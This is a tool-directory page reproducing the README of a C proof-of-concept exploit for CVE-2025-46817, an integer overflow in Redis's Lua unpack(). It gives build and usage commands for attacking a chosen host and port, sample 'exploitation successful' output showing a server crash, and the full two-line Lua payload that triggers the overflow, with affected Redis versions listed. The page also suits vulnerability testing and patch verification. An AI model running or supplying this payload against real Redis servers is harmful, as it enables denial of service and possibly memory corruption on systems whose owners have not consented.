Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-46817-PoC — C-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload. | Kitploit
Tools/GitHubGitHub/slayerkkkk/cve-2025-46817-poc
Vulnerability AnalysisExploitationFuzzingPenetration TestingDatabase Security
GitHubslayerkkkk/cve-2025-46817-poc

CVE-2025-46817-PoC

C-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload.

View Repository
2810 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-46817 Redis Integer Overflow Exploit

Banner Language Platform

A lightweight C implementation of the CVE-2025-46817 exploit for Redis integer overflow vulnerability.

🚀 Features

  • Lightweight: Single C file, no external dependencies beyond hiredis
  • Fast: Native compilation for maximum performance
  • Colorful Output: Beautiful terminal colors and icons
  • Crash Detection: Automatically detects server crashes
  • Version Checking: Identifies vulnerable Redis versions
  • Timeout Support: Configurable connection timeouts

📋 Requirements

Ubuntu/Debian

root@kitploit:~
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev

CentOS/RHEL

root@kitploit:~
sudo yum install gcc hiredis-devel

macOS

root@kitploit:~
brew install hiredis

🔧 Compilation

root@kitploit:~
gcc -o exploit exploit.c -lhiredis

🎯 Usage

Basic Usage

root@kitploit:~
./exploit -H 127.0.0.1 -P 6379

Remote Target

root@kitploit:~
./exploit -H 192.168.1.100 -P 6379 -t 5

Command Line Options

root@kitploit:~
-H <host>    Redis server host (required)
-P <port>    Redis server port (required)  
-t <timeout> Connection timeout in seconds (default: 10)
-h           Show help message

📊 Example Output

root@kitploit:~
 ██▓███   █     █░███▄    █  ▄▄▄▄    █    ██   █████▒ █████▒▓█████  ██▀███  
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█████▄  ██  ▓██▒▓██   ▒▓██   ▒ ▓█   ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒██▒ ▄██▓██  ▒██░▒████ ░▒████ ░ ▒███   ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒██░█▀  ▓▓█  ░██░░▓█▒  ░░▓█▒  ░ ▒▓█  ▄ ▒██▀▀█▄  
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▓█  ▀█▓▒▒█████▓ ░▒█░   ░▒█░    ░▒████▒░██▓ ▒██▒
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒  ▒ ░    ▒ ░    ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░▒░▒   ░ ░░▒░ ░ ░  ░      ░       ░ ░  ░  ░▒ ░ ▒░
░░         ░   ░    ░   ░ ░  ░    ░  ░░░ ░ ░  ░ ░    ░ ░       ░     ░░   ░ 
             ░            ░  ░         ░                       ░  ░   ░     
                                  ░                                         
                    CVE-2025-46817 Exploit Tool
                   Integer Overflow -> RCE Chain
                   Access -> https://pwnbuffer.org/

    Author: Slayerkkk
    Target: Redis <= 8.2.1
    Type: Memory Corruption -> Code Execution

ℹ️ Testing connection to 127.0.0.1:6379...
✅ Connection successful
ℹ️ Redis version: 8.2.1
❌ VULNERABLE - Version <= 8.2.1
ℹ️ Testing Lua scripting...
✅ Lua enabled (1+1=2)

🚀 STARTING EXPLOITATION
==================================================
💀 Executing exploit payload...
    Payload: Integer overflow via unpack()
💥 SERVER CRASHED - Connection lost!

📊 EXPLOITATION RESULT
==============================
  💥 Status: crashed (2.34s)

💀 EXPLOITATION SUCCESSFUL - Server crashed!
   CVE-2025-46817 vulnerability confirmed

🛡️ Affected Versions

  • Redis <= 8.2.1
  • Redis <= 8.0.3
  • Redis <= 7.4.5
  • Redis <= 7.2.10
  • Redis <= 6.2.19

🔍 Technical Details

Vulnerability

The exploit targets an integer overflow in Redis's Lua unpack() function implementation (luaB_unpack). When called with specific parameters, the signed integer arithmetic overflows, causing Redis to attempt materializing an enormous number of return values.

Exploit Payload

root@kitploit:~
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}

Impact

  • Server Crash: Immediate denial of service
  • Memory Corruption: Heap/stack corruption
  • Potential RCE: Memory corruption could lead to code execution

🎯 Detection Results

The tool reports one of these statuses:

  • ✅ survived: Server handled the payload (likely patched)
  • 💥 crashed: Server crashed (vulnerable)
  • ⚠️ timeout: Server hung (likely vulnerable)
  • ❌ error: Other error occurred

🙏 Credits

Author: Slayerkkk
Website: https://pwnbuffer.org

Download Tool